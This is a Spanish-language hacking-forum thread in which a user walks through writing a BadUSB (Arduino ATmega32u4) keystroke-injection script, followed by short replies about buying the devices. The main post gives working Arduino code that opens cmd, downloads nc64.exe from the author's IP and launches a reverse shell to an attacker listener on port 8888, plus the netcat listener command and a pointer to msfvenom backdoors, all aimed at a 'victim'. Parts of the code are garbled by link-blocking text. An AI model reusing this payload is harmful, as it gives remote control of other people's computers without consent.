Penetration testing con BadUSB

Iniciado por BrowserNet, Septiembre 27, 2019, 05:51:51 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Septiembre 27, 2019, 05:51:51 PM Ultima modificación: Septiembre 27, 2019, 05:54:56 PM por BrowserNet
Hola estimados hermanos de underc0de es un placer nuevamente estar con ustedes luego de 2 años de estar ausente del foro.
Un saludo grande para los administradores, moderadores y todos los usuarios en general, un fuerte abrazo para cada uno de ustedes.

En esta oportunidad les enseñare a crear sus propios Scripts para su dispositivo de Hackeo BAD USB(rubber ducky)

¿Que es Bad USB?

Bad USB es un dispositivo USB que se comporta como otro dispositivo de teclado automatizado, que permite utilizar este dispositivo de manera maliciosa para ataques de pentesting de manera local.

Características:


    Microcontroller: ATmega32u4
    Clock Speed: 16 MHz
    Operating Voltage: 5V DC
    Digital I/O Pins: 10
    PWM Channels: 4
    Analog Input Channels: 5
    UART: 1
    I2C: 1
    Micro USB: 1
    Flash Memory: 32 KB of which 4KB used by bootloader
    SRAM: 2.5 KB
    EEPROM: 1 KB
    USB ATMEGA32U4 Development Board Module For Arduino Leonardo R3[/li]

Este dispositivo se puso de "moda" en el año 2014 y hasta el día de hoy se sigue utilizando por su eficacia.

Existe un gran demanda de estos dispositivos en varias plataformas de e commerce a nivel mundial.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

A continuación vamos a descargar el IDE Arduino.
(Dependiendo su sistema y arquitectura)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




Instalación:

tar -Jxf arduino-1.8.9-linux64.tar.xz
cd arduino-1.6.12/
./install.sh

Antes de comenzar a crear el script vamos a repasar un poco de arduino.

¿Qué es Arduino?

Arduino es una plataforma y, como tal, dispone de varios elementos: hardware, software y lenguaje de programación. Este libro pretende ampliar tu lenguaje de programación y, teniendo en cuenta la base que hemos visto, no necesitamos añadir más conceptos sobre electrónica y hardware, pero si sobre el IDE de Arduino.

Estructuras de control de flujo repetitivas

Este tipo de estructuras son también conocidas como «bucles»; se diferencian de las estructuras no repetitivas en que, siempre y cuando se cumpla la condición o condiciones, se ejecutan las líneas de código una y otra vez sin salir de la estructura

While

Esta estructura ejecuta las instrucciones que se encuentran entre sus llaves de apertura y cierre. ¿Cuántas veces? Se ejecutarán mientras la condición especificada se cumpla, sin ejecutarse ninguna otra línea de código que se encuentre fuera de la estructura.
while(condición)
{
//Instrucciones que se ejecutan mientras se cumpla la condición
}

Ejemplo:




Programando en Arduino

Ejemplo 1:



Ejemplo 2:



Aprende arduino aquí:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una ves instalado el IDE Arduino, ingresamos nuestro Bad USB y buscaremos nuestra placa para poder iniciar la compilación y depuración de nuestro proyecto.



Creando nuestro Backdoor con NC en Arduino IDE

Antes de empezar a explicar un poco el  código fuente debo aclarar que la victima tiene Linux Bash Shell instalado en su sistema y aprovechare esas características para acceder al sistema.




Explicando el código fuente:

----------------------------------------------------------------------------------------------------------------------

Keyboard.begin();
// Waiting 500ms for init
  delay(500);

  delay(3000);

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(KEY_LEFT_GUI);
  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta(114);
  Keyboard.releaseAll();
----------------------------------------------------------------------------------------------------------------------

Estamos indicando el dispositivo pulsee la tecla WINDOWS(KEY_LEFT_GUI) y dando Enter(144) en un tempo determinado de 3 segundos.

Algunas teclas expresiones de teclado:
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12

Equivalencias de otras unidades de tiempo en milisegundos

Un centisegundo equivale a 10 milisegundos.
Un decisegundo equivale a 100 milisegundos.
Un segundo equivale a 1000 milisegundos.
Un minuto equivale a 60 000 milisegundos.
Una hora equivale a 3 600 000 milisegundos.
Un día equivale a 86 400 000 milisegundo
----------------------------------------------------------------------------------------------------------------------
delay(500);
Keyboard.print("cmd");
delay(500);
typeKey(KEY_RETURN);
delay(500);
Keyboard.print("wget 192.168.0.4&nc64.exe");
typeKey(KEY_RETURN);
delay(50);
Keyboard.print("START nc64.exe 192.168.0.4 8888 /e cmd.exe /d & exit");
typeKey(KEY_RETURN); 
delay(500);
Keyboard.print("exit");
typeKey(KEY_RETURN);   
}
----------------------------------------------------------------------------------------------------------------------

Keyboard.print - Aquí añadiremos los valores que deseamos digitar de manera automatizada
typeKey(KEY_RETURN) - Boton Enter.

como podemos ver en el código anterior estoy indicando que descargue un ejecutable NC.exe con la dirección IP y el puerto de escucha de mi ordenador, una ves que se conecte me abrirá el CMD de nuestra victima.

Ejecutamos Netcat en nuestro ordenador para la conexión.

Código: php
root@kali:~# nc -l -p 8888


Ahora ingresamos el USB en la PC de nuestra victima para realizar nuestra prueba de concepto.



Reverse Shell CMD



De manera automatizada hemos conseguido acceder al sistema de nuestra victima.
No obstante también pueden subir un backdoor .exe de msfvenom y listo.

Les dejo algunos scripts que pueden utilizar para sus pruebas de concepto:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Existen herramientas que automatizan los payloads , pero quise hacer este articulo para que comprendas la estructura de un Payload en Arduino.

Saludos.



Noviembre 07, 2019, 10:08:39 AM #1 Ultima modificación: Noviembre 07, 2019, 10:11:12 AM por DevMexos
Muy bueno  ;D! a favs para cuando al fin pueda conseguir mi ducky... Recomendas algun vendedor en particular? Saludos!
No podemos resolver problemas pensando de la misma manera que cuando los creamos.

Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?




Con la fuerza del mar, con la paz del rio


HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?

Yo tengo varios te doy uno si queres

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Gracias por el aporte ! Se ve muy bien !

Te consulto, que es lo que me tengo que fijar a la hora de comprar un USB para que sirva como badusb ?

Yo tengo varios te doy uno si queres

GRACIAS POR LEER!!!

Gracias Numeros ! (Y)




Con la fuerza del mar, con la paz del rio